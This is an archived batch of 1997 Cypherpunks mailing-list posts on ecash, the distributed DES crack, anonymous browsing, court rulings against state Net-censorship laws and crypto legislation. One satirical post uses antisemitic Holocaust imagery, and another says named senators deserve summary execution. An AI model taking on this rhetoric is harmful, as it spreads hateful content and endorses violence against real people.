     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 21 Jun 1997 04:17:48 +0800
To: iang@cs.berkeley.edu (Ian Goldberg)
Subject: Re: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <3.0.2.32.19970620125931.0075ec10@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>>>Thank you for being so patient.  ecash is now available from our web site
>>>>at:  http//www.advance.com.au/ecash

>Tim May  <tcmay@got.net> wrote:
>>No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
>>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
>>wrongly, a trademark of the company with the same name.

If there _wasn't_ any mention of those, there certainly is now :-)
The right-hand frame, after the pictures of PCs and dollar signs and logos,
has copyright notices, trademark notice for "ecash", and the addresses
and URLs for Advance Bank Australia Ltd. and Digicash BV in the Netherlands.

And the "Support" page has the following URLs:
   For more ecash info, refer to the DigiCash Web Site: 
     Who are DigiCash? 
     Digital Signatures and Smart Cards 
     Numbers that are money 


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sat, 21 Jun 1997 01:19:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <3.0.2.32.19970620130840.006d0988@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 09:50 AM 6/20/97 -0700, Tim May wrote:
>
>>>Thank you for being so patient.  ecash is now available from our web site
>>>at:  http//www.advance.com.au/ecash

>I was unable to connect to the listed URL, but I rather suspect this is not
>a form of "e-cash" that is of much interest or use to Cypherpunks.
>
>No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
>wrongly, a trademark of the company with the same name.

The URL is workable, i.e., I was able to connect.

Perusing the site, under "Advance Bank and ecash security", it states:
"ecash uses military grade security technology. Used in conjunction with
our secure Internet Banking program, we have taken maximum precautions to
restrict access to your bank account or ecash."

Under "military grade security technology" (which is an embedded link), it
states:
"Military grade security - ecash uses public key cryptology to protect your
money as it passes over the Internet. Each user has two keys - a public
key, used to encrypt information, and a private key which is kept secret
and used to decipher information.  More specifically, a combination of
3xDES, 512RSA and 1024RSA in conjunction with the 128 IDEA encryption used
in the Internet Banking program, means your money and account information
will be secure." 


*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C.J. Parker"<cjp@dev.null>
Date: Sat, 21 Jun 1997 03:33:19 +0800
To: cypherpunks@toad.com
Subject: PGP Crack Challenge Announced
Message-ID: <199706201912.NAA00918@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



 Pearl Harbor Computers has announced the "PGP Crack Challenge" with
a prize of $10,000.00 for the first person to decrypt a PGP cyphertext
file which reveals the location of the Jews being hidden by anarchistic
CypherPunks.

  Despite the best efforts of the U.S. legislative bodies and secret
government comittees, the danger remains that outlaw cryptographers
will be able to illegally avoid future Government Access to Keys
legislation and prevent law enforcement agencies from being able to
read their communications through use of strong, non-GAKed crypto.
  Imagine the burden that would have resulted if strong crypto had
prevented the German Gestapo from accessing information needed to
meet the legitimate needs of law enforcement during World War II.

  Pearl Harbor Computers will post a file called "hidejews.asc" to
the CypherPunks list in the near future. It will use 2048 bit PGP 5.0
encryption signed with Pearl Harbor Computers secret key.
  In order to win, whoever decrypts the message must post their results
to the cypherpunks list, signed with their secret key.
  The $10,000.00 prize will be paid in the equivalent of removed gold
tooth-fillings held in escrow in safety deposit boxes in a secure Swiss
bank.

C.J. Parker,
President,
Pearl Harbor Computers
"We've been bombed since 1941"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 04:22:03 +0800
To: cypherpunks@Algebra.COM
Subject: Congressemen who have earned the death penalty
In-Reply-To: <Pine.GSO.3.96.970620114844.1120E-100000@linda.teleport.com>
Message-ID: <v0310280eafd0941f2227@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:53 AM -0700 6/20/97, Alan wrote:
>With all of the "punish the evildoers amongst us"  and the "Improving
>Security by making it illegal" raving in congress, this came to mind...
>
>"The Congressional Definition of the Strength of a Firewall is how many
>times you can march the citizenry in front of it for summary execution
>before it crumbles."
>

Ah, you have cleverly rewritten the standard definition:

The Definition of the Strength of a Firewall is how many
politicians one can put  in front of it for summary execution
before it crumbles.

McCain, Kerrey, Hollings, et. al. are guilty of treason and should be put
in front of that firewall forthwith.

(As a free citizen, I am free to say that any particular person has
committed crimes deserving of execution. Despite what pseudo-lawyers often
claim. I have never said I plan to kill McCain or Kerrey. An important
difference. But they will surely pay for their crimes. Congress and
Washington need a taste of their own vile medicine.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 21 Jun 1997 04:44:41 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Congressemen who have earned the death penalty
In-Reply-To: <v0310280eafd0941f2227@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970620133228.18204A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Tim May wrote:

> Ah, you have cleverly rewritten the standard definition:
> 
> The Definition of the Strength of a Firewall is how many
> politicians one can put  in front of it for summary execution
> before it crumbles.

Or as the great Marxist (Groucho) put it...

  "We put them up against the wall and pop goes the weasel!"

> McCain, Kerrey, Hollings, et. al. are guilty of treason and should be put
> in front of that firewall forthwith.

You forgot Feinstien.  (I know...  You are trying to...)

> (As a free citizen, I am free to say that any particular person has
> committed crimes deserving of execution. Despite what pseudo-lawyers often
> claim. I have never said I plan to kill McCain or Kerrey. An important
> difference. But they will surely pay for their crimes. Congress and
> Washington need a taste of their own vile medicine.)

Who said anything about wanting to kill them?  A diced jalapeneo enema
will not kill them.  (Actually I am not sure of that.  We will have to run
a test...  The debug process could take some time... ]:> )

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 21 Jun 1997 05:01:21 +0800
To: cypherpunks@toad.com
Subject: Courts strike down New York and Georgia Net-censorship laws
Message-ID: <Pine.GSO.3.95.970620134824.28917B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 13:48:13 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Courts strike down New York and Georgia Net-censorship laws

Two Federal courts ruled today in separate decisions
that state laws in New York and Georgia restricting
speech on the Internet are unconstitutional.

In a 62-page ruling, Judge Loretta Preska of
Manhattan's Federal district court struck down a New
York state Net-censorship law that restricted online
material that might be "harmful to minors," saying
that a single state couldn't pass laws that apply to
the entire Internet.

"The Internet may well be the premiere technological
innovation of the present age," Preska said. "Judges
and legislators faced with adapting existing legal
standards to the novel environment of cyberspace
struggle with terms and concepts that the average
American five-year old tosses about with breezy
familiarity."

In Georgia, Judge Marvin Shoob ruled that a state law
forbidding anonymity online is unconstitutional since
it violates free speech and free association rights.
The law is so broadly written, the judge indicated,
that even America Online screen names could be
considered illegal.

This represents a stunning victory for the American
Civil Liberties Union (http://www.aclu.org/), which
filed both lawsuits. Judge Shoob "understood clearly
the very strong need for our plaintiffs to communicate
anonymously," the ACLU's Ann Beeson says. Both judges
issued preliminary injunctions barring the state
attorneys general from enforcing the laws.

But the rulings differ in important ways. Manhattan's
Judge Preska did not answer whether the New York law
violated the First Amendment, saying she was going to
wait for the U.S. Supreme Court's to rule on the
Communications Decency Act. She said, however, that
she didn't *need to answer* that question to strike
down the law since it violated the U.S. Constitution's
ban on states attempts to regulate commerce outside
their borders.

This is an vital point: The court ruled that no state,
no matter how hard the legislators try, generally can
regulate "indecent" or "harmful to minors" material
online. "I cannot stretch enough the importance of
this conclusion," Beeson says. These rulings mean that
the ACLU's attempts to strike down other state
Net-censorship laws -- and around two dozen states
have passed or are considering such measures -- will
be a virtual slam dunk.

Georgia's Judge Shoob, in a shorter 21-page opinion,
ruled that the law -- that the Democrat-controlled
legislature passed in haste last year to muzzle
a dissident Republican representative -- violated
the First Amendment.

This echoes a recent Supreme Court case, McIntyre v.
Ohio, in which the justices ruled that the right to
anonymity extends beyond political speech; that
requiring someone to add their name to a leaflet is
unconstitutional; that writing can be more effective
if the speaker's identity is unknown.

Next stop: The Supreme Court, which is almost certain
to rule on the CDA next week...

-Declan

More info on the Georgia lawsuit:

  http://cgi.pathfinder.com/netly/editorial/0,1012,590,00.html

More info on the New York state lawsuit:

  http://cgi.pathfinder.com/netly/editorial/0,1012,532,00.html

  http://cgi.pathfinder.com/netly/editorial/0,1012,811,00.html









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 20 Jun 1997 20:06:52 +0800
To: cypherpunks@toad.com
Subject: 96rock (96.1)--"The Home of Capital Punishment"
Message-ID: <199706201150.NAA15358@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



_The Atlanta Journal-Constitution_
6/20/97

"Contest Controversy: Radio Promotion Is Called Tasteless"
Miriam Longino, Staff Writer

Atlanta radio station 96rock is making waves with a contest that asks listeners to predict the year, month, day and time when convicted Oklahoma City bomber Timothy McVeigh will be executed. The winner gets a free trip to cover the event.

Rock Station WKLS-FM (96.1)--calling itself "The Home of Capital Punishment"--is running a 45-second spot 12 times a day to pitch the contest.

[snip]

...96rock promotions director, Pat Ervin, ...says he feels the station is "playing on the sentiment of the majority of the public." "We saw an opportunity," he says. "It's obvious that people are very passionate about this thing. So we decided to use a creative mechanism to tap into that."

[More follows]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 21 Jun 1997 01:23:39 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <19970619071935.51047@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970620134129.554C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Not only that, but single DES with a 56 bit key is just not being used 
> > anymore in any company which has the slightest clue.
> 
> This is false, of course.  Many companies with the slightest clue use 
> single DES.  

Well, maybe I should have said companies with the slightest clue *should* 
not be using 3DES, of course a lot of them are advised wrongly that 
single 56 bit DES is hard to break, indeed the succeptability of single 
DES to differential and linear cryptanalysis leaves me with a low level 
of condfidence about single DES period. Of course one could also say that 
by extension there is no reason why these methods of cryptanalysis could 
not be adapted to 3DES, I believe the NSA once claimed to have known 
about differential cryptanalysis since the 1970s??? in that case they are 
the ones who could, but won`t, tell you if in time 3DES can be broken by 
the same means as reduced round single DES.

> Also, someone pointed out that the combined efforts 
> probably had independently done 50% of the keyspace.

Yes, I think that even accounted for the expected duplication of keyspace 
searched by the different efforts, it was a resounding success overall.

> > If they can run a 
> > distributed crack on 3DES with independent subkeys then I`ll give them 
> > some attention.
> > 
> > I`m not downgrading the effort, 
> 
> This is false, too.  Doublespeak at it's finest.

Foo. I said I applauded the effort from a publicity point of view, it 
gets the message out there to the public that a bunch of guys with normal 
home PCs can break the encryption the government has been telling them is 
strong. From a technical point of view it is unsuprising, can you 
honestly tell me you were suprised a distributed crack got 56 bit DES??? 
Therefore there are two sides to it, it is a good thing, and <yawn>...> 

> > significant publicity stunt that will get normal non-specialist people 
> > thinking about the export laws, and about how quickly DES can be broken 
> > by the government if it can be broken by a few guys on the internet in 
> > months. All I am saying is that looking at it from a purely scientific 
> > point of view it is not a great cryptanalytic achievement, merely a 
> > PR stunt.
> 
> It is a *GREAT* achievement on several fronts, crypto included. 
> Another front that was equally important, IMO was as a demonstration
> of what loosely coordinated distributed computing can do. 

Yes, I do in fact, and I had not really considered this side of it so I 
thank you for bringing it to my attention, recognise the significance of 
the achievement from the distributed computing angle, it could so easily 
have gone spaghetti-wise. I just don`t recognise any real groundbreaking 
achievement in crypto terms, but of course it cost nothing, a hardware crack 
would have done it in days, but that is a different matter altogether, in 
both financial and PR terms, it would not be that impressive to crack DES 
with a custom DES cracker Wiener style, the real PR coup is that it was 
broken by an average home PC.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Sat, 21 Jun 1997 05:00:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Getting Back to our Radical Roots
Message-ID: <199706202052.NAA05467@f16.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>The resources used to break DES, if as many people hosted remailers and
>anonymizers on their machines, would further Cypherpunks goals a lot 
more
>than breaking DES, which we all know was breakable (as we know what "56
>bits" means).

There were messages here some time back about systems like anonymizer
but chainable and using cryptography.  Did anything come of that?
Efficient anonymous web browsing could be a killer app for crypto.
Use anonymous web access to get to hotmail accounts like this one
and you have anonymous email, easy to use.

"John



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 21 Jun 1997 02:12:05 +0800
To: cypherpunks@toad.com
Subject: Feinstein Amendment Text
Message-ID: <1.5.4.32.19970620175516.00684594@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Senator Feinstein's office has provided a copy of
her S.936 amendment which passed yersterday 94 to 0 
"to prohibit the distribution of certain information relating to 
explosives, destructive devices, and weapons of mass 
destruction."

   http://jya.com/fein-sp419.htm  (5K)

Via links in the file, the amendment may be compared to earlier 
draft versions and debate as well as for the effect of the recent 
Justice Department report on its language.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 05:32:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Getting Back to our Radical Roots
In-Reply-To: <199706202052.NAA05467@f16.hotmail.com>
Message-ID: <v03102810afd0a2bd9123@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:52 PM -0700 6/20/97, John Smith wrote:
>>The resources used to break DES, if as many people hosted remailers and
>>anonymizers on their machines, would further Cypherpunks goals a lot
>more
>>than breaking DES, which we all know was breakable (as we know what "56
>>bits" means).
>
>There were messages here some time back about systems like anonymizer
>but chainable and using cryptography.  Did anything come of that?
>Efficient anonymous web browsing could be a killer app for crypto.
>Use anonymous web access to get to hotmail accounts like this one
>and you have anonymous email, easy to use.

A hurdle or speedbump is the one of latencies:

* e-mail is expected, or accepted, to have latencies of minutes or even
hours. And as the packet sizes of e-mail messages are typically small, e.g.
3 KB, adequate mixing or entropy can be gotten in a remailer by mixing 10
or so messages, repeated several times though various hops.

* Web access is expected, or required, to be fast and peppy...people will
hardly tolerate (i.e., will not use) a site which spends minutes between
actions.

Whether minutes are needed between actions depends on the degree of mixing
sought, and the amount of other messages or Web accesses....

Also, a remailer can be done with *one way" paths, while Web accesses of
course require two-way paths. Two-way paths present oft-discussed hurdles
for anonymity. (Reply-blocks, message pools, etc.)

These are not unresolvable problems, from what I can see, but are typical
engineering tradeoffs, a la the usual:

"Speed, anonymity, interactivity. Pick two."

(Or something like this...)

PipeNet will help. Several groups are sort of working on new schemes. I
have my own thoughts about fixing this problem.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 21 Jun 1997 05:32:00 +0800
To: shabbir@vtw.org
Subject: Senator Bryan on S. 909
Message-ID: <v03102800afd0a0fa0d45@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



I just spoke with Andy Vermillye, Senator Bryan's staffer that handles the
encryption issue.

When I enquired regarding the Bryan's crypto views, Andy thought the
Senator's primary reason for voting in favor of the bill was his
Intelligence Committe briefings.  I gave him a very brief rant regarding
the Four Horseman and related my experience in dealing with intelligence
agencies (while at TRW), and why they shouldn't be trusted with laws which
so easily trample on our right to free speech. Andy admitted he was not
very knowledgable regarding crypto.

I told him I had spent considerable time and money in establishing First
ECache and that many of the bill's provisions, if left in their current
form, would prevent my company's function.  I said further that, Nevada and
the Senator are trying to attract high-tech industries to Nevada, but if
this bill passes I would be forced to move the business offshore instead of
creating high-paying Nevada jobs.

Andy said I was the only Nevada company to call regarding the bill, but
that a half dozen others (mostly large companies) all called in opposition.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 21 Jun 1997 05:46:31 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <Pine.GSO.3.95.970620134824.28917B-100000@well.com>
Message-ID: <v03102802afd0a943ff87@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>But the rulings differ in important ways. Manhattan's
>Judge Preska did not answer whether the New York law
>violated the First Amendment, saying she was going to
>wait for the U.S. Supreme Court's to rule on the
>Communications Decency Act. She said, however, that
>she didn't *need to answer* that question to strike
>down the law since it violated the U.S. Constitution's
>ban on states attempts to regulate commerce outside
>their borders.

Might this also mean that states attempting to restrict Internet gaming
might similarly be restrained?



PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Sat, 21 Jun 1997 06:14:21 +0800
To: "John Smith" <cypherpunks@cyberpass.net
Subject: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <199706202052.NAA05467@f16.hotmail.com>
Message-ID: <3.0.2.32.19970620150717.0082bab0@descartes.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:52 PM 6/20/97 PDT, John Smith wrote:
>>The resources used to break DES, if as many people hosted remailers and
>>anonymizers on their machines, would further Cypherpunks goals a lot 
>more
>>than breaking DES, which we all know was breakable (as we know what "56
>>bits" means).
>
>There were messages here some time back about systems like anonymizer
>but chainable and using cryptography.  Did anything come of that?
>Efficient anonymous web browsing could be a killer app for crypto.
>Use anonymous web access to get to hotmail accounts like this one
>and you have anonymous email, easy to use.
>

Anonymous web browsing is definitely being worked on. However, simply 
chaining proxies ala remailer chains is not sufficient because traffic 
analysis is fairly trivial.

The question is what's the threat model. If the goal is to prevent the
server from identifying the client given limited resources, then 
www.anonymizer.com or similar is sufficient. However, the real problem
is preventing an entity with unlimited resources and control over most
of the nodes in the anonymous network from conducting successful traffic
analysis. This is an entirely different and very difficult problem.

The cpunks are getting some help in this from the Naval Research Lab
(although actually I think we're helping them not vice versa)
because the military seems to want to be able to browse anonymously too.

Jeremey.


-----BEGIN PGP SIGNATURE-----
Version: 5.0
Charset: noconv

iQCVAwUBM6r/FC/fy+vkqMxNAQEnWgQAvxvAwgMmUWfl9mSzh5Hsf3O/5OgqwzfS
fJzL5wNX9Pssr6dZuGXudD1OuQjUmha5e5+G3MJrrPOafsUCI3518kTVyLMbVuZG
fghrbj+s20Fyhj4G3FUM2UtzrGdaqIx/pqzkNcKyAKz3EF8iH6OSxdWWmhX/J650
qQgkrb7Om9M=
=iqAT
-----END PGP SIGNATURE-----

--
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sat, 21 Jun 1997 06:23:10 +0800
To: cypherpunks@toad.com
Subject: Mykotronx builds Fortezza/DES card
Message-ID: <199706202211.PAA15306@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



This is great -- they've put TWO insecure crypto algorithms on one
PCMCIA card!  Mykotronx leads the industry, as usual!

	John   :-)


     Rainbow subsidiary Mykotronx and Western Datacom announce joint
     development of industry's first dual-mode cryptographic modem -- FORDESZA
 
     Business Wire - June 17, 1997 09:03
 
     MYKOTRONX WESTERN-DATACOM RNBO %CALIFORNIA %DISTRICT %OF %COLUMBIA
     %INTERACTIVE %MULTIMEDIA %INTERNET %COMED %COMPUTERS %ELECTRONICS
     %PRODUCT %TRADESHOW V%BW P%BW
 
     TORRANCE, Calif.--(BUSINESS WIRE)--June 17, 1997--Mykotronx Inc., a
     subsidiary of Rainbow Technologies Inc. (NASDAQ:RNBO), and Western
     Datacom have announced joint development of FORDESZA, a Type II PCMCIA PC
     modem card that provides both DES and FORTEZZA-based encryption and
     decryption in a single unit.
 
     FORDESZA, the first dual-mode cryptographic device designed for the
     commercial marketplace, integrates a FORTEZZA cryptographic chip
     manufactured by Mykotronx with 56-bit DES encryption.
 
     ``Mykotronx' collaboration with Western Datacom further demonstrates the
     company's commitment to providing the highest-quality cryptographic
     solutions for secure data communications,'' said John Droge, vice
     president of product development for Mykotronx. ``The first of its kind,
     FORDESZA is a state-of-the-art modem design that delivers both high
     connection speed and quality cryptographic protection.''
 
     ``Western Datacom is pleased to be working with Mykotronx on the
     development of FORDESZA,'' said Phil Ardire, president of Western
     Datacom. ``Western Datacom and Mykotronx have combined their respective
     expertise to create a breakthrough cryptographic security product to
     support users' need for secure communication.''
 
     Functioning as a V.34 bis 33,600 bps modem, FORDESZA operates as a
     FORTEZZA Crypto Card, a FORTEZZA encryptor/decryptor with a V.34 bis
     modem and as a DES encryptor/decryptor with a V.34 bis modem.
 
     FORDESZA will incorporate all security features previously developed for
     FORTEZZA, including personal identification numbers (PINs) for user
     authentication; the digital signature standard (DSS) for originator
     authentication; the key exchange algorithm (KEA) for Diffie-Hellman
     variant public key exchange; FORTEZZA and DES encryption; and the secure
     hash algorithm (SHA) for data integrity.
 
     FORDESZA accomplishes key management via both a certification authority
     workstation (CAW) and a FIPS 171-compliant software system. The CAW
     operates FORTEZZA card initialization software to program the modem with
     the user's distinguished name (DN) and public key information stored in
     X.509 certificates.
 
     A distributed database, called the directory system agent (DSA), handles
     the storage and distribution of these keys. For DES key management, the
     FIPS 171 software, which is compatible with existing Western Datacom
     DES-based products, accommodates private key changes and management of
     DES encryptors.
 
     FORTEZZA encryption has been accepted by the Department of Commerce's key
     recovery program. Encryption keys can now be kept by an approved third
     party, with copies available to law-enforcement agencies only under a
     court order.
 
     For more information about FORDESZA, contact Mykotronx at 310/533-8100
     (fax 310/533-0527) or Western Datacom at 216/835-1510 (e-mail:
     wdc@western-data.com).
 
     With headquarters in Torrance, Mykotronx is a world leader in providing
     high-grade encryption and decryption equipment essential for use in space
     and other sensitive digital communication environments.
 
     Founded in 1979, and acquired by Rainbow Technologies in 1995, Mykotronx
     has more National Security Agency approved products than any other
     corporation. Demonstrating the company's commitment to quality, Mykotronx
     designs and manufactures products that meet the requirements of
     MIL-Q-9858 A (``Quality Program Requirements'') and MIL-I-45208
     (``Inspection System Requirements'').
 
     Rainbow Technologies, with 1996 revenues in excess of $81 million, is a
     leading supplier of software-protection, license-management and
     Internet-security products worldwide. Rainbow has offices in the United
     States, France, Germany, Russia and the United Kingdom, and is ISO-9002
     certified.
 
        CONTACT:  Rainbow Technologies Inc.
                  Ann Jones, 714/450-7350
                             ajones@rnbo.com
                    or
                  Bock Communications Inc.
                  Valerie Christopherson/Brian Bardwell, 714/374-3530
                                              vchristopherson@msn.com
 
        REPEATS: New York 212-752-9600 or 800-221-2462; Boston 617-236-4266 or
              800-225-2030; SF 415-986-4422 or 800-227-0845; LA 310-820-9473
 
        All content is compiled from a variety of sources by News Alert and
                        provided as a service of PC Quote.
      See important copyright information. Refresh your screen often for the
                                latest information.
 
                              (c) 1997 News Alert Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 21 Jun 1997 06:25:48 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <v03102802afd0a943ff87@[10.0.2.15]>
Message-ID: <Pine.GSO.3.95.970620151503.19203A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve -- Believe it or not, yes, state Net-gambling laws could fall under
the dormant commerce clause and be struck down by courts. If they ruled
consistently. I suspect they won't. 

This is a fascinating area. I'll probably post more about this over the
weekend.

-Declan



On Fri, 20 Jun 1997, Steve Schear wrote:

> >But the rulings differ in important ways. Manhattan's
> >Judge Preska did not answer whether the New York law
> >violated the First Amendment, saying she was going to
> >wait for the U.S. Supreme Court's to rule on the
> >Communications Decency Act. She said, however, that
> >she didn't *need to answer* that question to strike
> >down the law since it violated the U.S. Constitution's
> >ban on states attempts to regulate commerce outside
> >their borders.
> 
> Might this also mean that states attempting to restrict Internet gaming
> might similarly be restrained?
> 
> 
> 
> PGP mail preferred
> Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
> ---------------------------------------------------------------------
> Steve Schear              | tel: (702) 658-2654
> CEO                       | fax: (702) 658-2673
> First ECache Corporation  |
> 7075 West Gowan Road      |
> Suite 2148                |
> Las Vegas, NV 89129       | Internet: azur@netcom.com
> ---------------------------------------------------------------------
> 
>         I know not what instruments others may use,
>         but as for me, give me Ecache or give me debt.
> 
>         SHOW ME THE DIGITS!
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 21 Jun 1997 06:22:16 +0800
To: Tim May <tcmay@got.net>
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <Pine.GSO.3.96.970620105013.1120B-100000@linda.teleport.com>
Message-ID: <v03102803afd0aafa668d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>An interesting set of issues about "states rights" and "local control." I
>used to think--indeed, this is what I was taught--that certain things
>stated in the U.S. Constitution, such as the various items in the Bill of
>Rights we mention so often, would block many local or state laws.
>
>Thus, if Nebraska passed a law restricting religious freedoms, making Islam
>a crime, for example, then this would be "struck down" by the Supremes.
>
>I no longer feel very secure in this belief. For example, many states,
>counties, and cities have laws which abridge the Second Amendment. Why are
>these local laws not unconstitutional? When I have raised these points I
>have been told by law professors (for example, on the Cyberia list) that
>surely I support "states rights," don't I?
>
>I now think it is likely that the 50 state legislatures, the thousands of
>county and city governments, will accelerate their lawmaking machinery.
>They have learned that the way to steady employment is to proliferate
>bureacracies, that despite various scattered attempts to limit such
>bureacratic growth, the expansion basically continues and even acclerates.
>This ensures a huge job pool for politicians and bureaucrats. (Even
>politicians who "retire" or are "voted out" find continued employment in
>regional and local bureaucracies....
>

One reason this is occuring is that there is no direct consequence to the
legislators.  In those states which have referendums and where legislators
waste  taxpayers money by enacting a stream of laws which are subsequently
ruled unconstitutional, why don't libertarians propose a law which would
financially penalize those congressrats which voted in favor of passage.
I'm sure it will be tough to write something which itself will pass
